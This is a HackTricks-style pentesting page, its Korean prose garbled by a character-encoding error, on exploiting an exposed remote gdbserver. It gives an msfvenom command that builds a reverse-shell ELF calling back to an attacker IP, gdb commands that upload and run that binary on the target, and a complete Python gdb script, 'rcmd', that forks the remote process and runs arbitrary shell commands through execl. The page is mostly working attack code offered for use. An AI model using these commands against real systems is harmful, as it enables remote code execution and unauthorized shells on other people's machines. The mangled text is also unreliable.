Pentesting Remote GdbServer

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

gdbserver๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์›๊ฒฉ์œผ๋กœ ๋””๋ฒ„๊น…ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. ๋””๋ฒ„๊น…์ด ํ•„์š”ํ•œ ํ”„๋กœ๊ทธ๋žจ๊ณผ ํ•จ๊ป˜ ๋™์ผ ์‹œ์Šคํ…œ์—์„œ ์‹คํ–‰๋˜๋ฉฐ, ์ด๋ฅผ โ€œ๋Œ€์ƒโ€œ์ด๋ผ๊ณ  ํ•ฉ๋‹ˆ๋‹ค. ์ด ์„ค์ •์€ GNU Debugger๊ฐ€ ์†Œ์Šค ์ฝ”๋“œ์™€ ๋””๋ฒ„๊น…๋œ ํ”„๋กœ๊ทธ๋žจ์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ ๋ณต์‚ฌ๋ณธ์ด ์ €์žฅ๋œ ๋‹ค๋ฅธ ๋จธ์‹ ์ธ โ€œํ˜ธ์ŠคํŠธโ€œ์—์„œ ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. gdbserver์™€ ๋””๋ฒ„๊ฑฐ ๊ฐ„์˜ ์—ฐ๊ฒฐ์€ TCP ๋˜๋Š” ์ง๋ ฌ ๋ผ์ธ์„ ํ†ตํ•ด ์ด๋ฃจ์–ด์งˆ ์ˆ˜ ์žˆ์–ด ๋‹ค์–‘ํ•œ ๋””๋ฒ„๊น… ์„ค์ •์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

gdbserver๊ฐ€ ๋ชจ๋“  ํฌํŠธ๋ฅผ ์ˆ˜์‹  ๋Œ€๊ธฐํ•˜๋„๋ก ์„ค์ •ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํ˜„์žฌ nmap์€ ์„œ๋น„์Šค๋ฅผ ์ธ์‹ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

Exploitation

์—…๋กœ๋“œ ๋ฐ ์‹คํ–‰

msfvenom์œผ๋กœ elf ๋ฐฑ๋„์–ด๋ฅผ ์‰ฝ๊ฒŒ ์ƒ์„ฑํ•˜๊ณ , ์—…๋กœ๋“œํ•˜์—ฌ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

# Set remote debuger target
target extended-remote 10.10.10.11:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/user/binary.elf

# Execute reverse shell executable
run

# You should get your reverse-shell

์ž„์˜์˜ ๋ช…๋ น ์‹คํ–‰

๋””๋ฒ„๊ฑฐ๊ฐ€ ์ž„์˜์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋„๋ก ๋งŒ๋“œ๋Š” ๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์€ ์—ฌ๊ธฐ์—์„œ ๊ฐ€์ ธ์˜จ python ์‚ฌ์šฉ์ž ์ •์˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345

# Load our custom gdb command `rcmd`.
source ./remote-cmd.py

# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r

# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r

# Run the remote command, e.g. `ls`.
rcmd ls

๋จผ์ € ์ด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋กœ์ปฌ๋กœ ์ƒ์„ฑํ•˜์„ธ์š”:

#!/usr/bin/env python3

import gdb
import re
import traceback
import uuid


class RemoteCmd(gdb.Command):
def __init__(self):
self.addresses = {}

self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")

gdb.execute("set detach-on-fork off")
gdb.execute("set follow-fork-mode parent")

gdb.execute("set max-value-size unlimited")
gdb.execute("set pagination off")
gdb.execute("set print elements 0")
gdb.execute("set print repeats 0")

super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)

def preload(self):
for symbol in [
"close",
"execl",
"fork",
"free",
"lseek",
"malloc",
"open",
"read",
]:
self.load(symbol)

def load(self, symbol):
if symbol not in self.addresses:
address_string = gdb.execute(f"info address {symbol}", to_string=True)
match = re.match(
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
)
if match and len(match.groups()) > 0:
self.addresses[symbol] = match.groups()[0]
else:
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')

return self.addresses[symbol]

def output(self):
# From `fcntl-linux.h`
O_RDONLY = 0
gdb.execute(
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
)

# From `stdio.h`
SEEK_SET = 0
SEEK_END = 2
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
if int(gdb.convenience_variable("len")) <= 0:
gdb.write("No output was captured.")
return

gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
gdb.execute('printf "%s\\n", (char*) $mem')

gdb.execute(f'call (int){self.load("close")}($fd)')
gdb.execute(f'call (int){self.load("free")}($mem)')

def invoke(self, arg, from_tty):
try:
self.preload()

is_auto_solib_add = gdb.parameter("auto-solib-add")
gdb.execute("set auto-solib-add off")

parent_inferior = gdb.selected_inferior()
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
child_pid = gdb.convenience_variable("child_pid")
child_inferior = list(
filter(lambda x: x.pid == child_pid, gdb.inferiors())
)[0]
gdb.execute(f"inferior {child_inferior.num}")

try:
gdb.execute(
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
)
except gdb.error as e:
if (
"The program being debugged exited while in a function called from GDB"
in str(e)
):
pass
else:
raise e
finally:
gdb.execute(f"inferior {parent_inferior.num}")
gdb.execute(f"remove-inferiors {child_inferior.num}")

self.output()
except Exception as e:
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
raise e
finally:
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')


RemoteCmd()

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ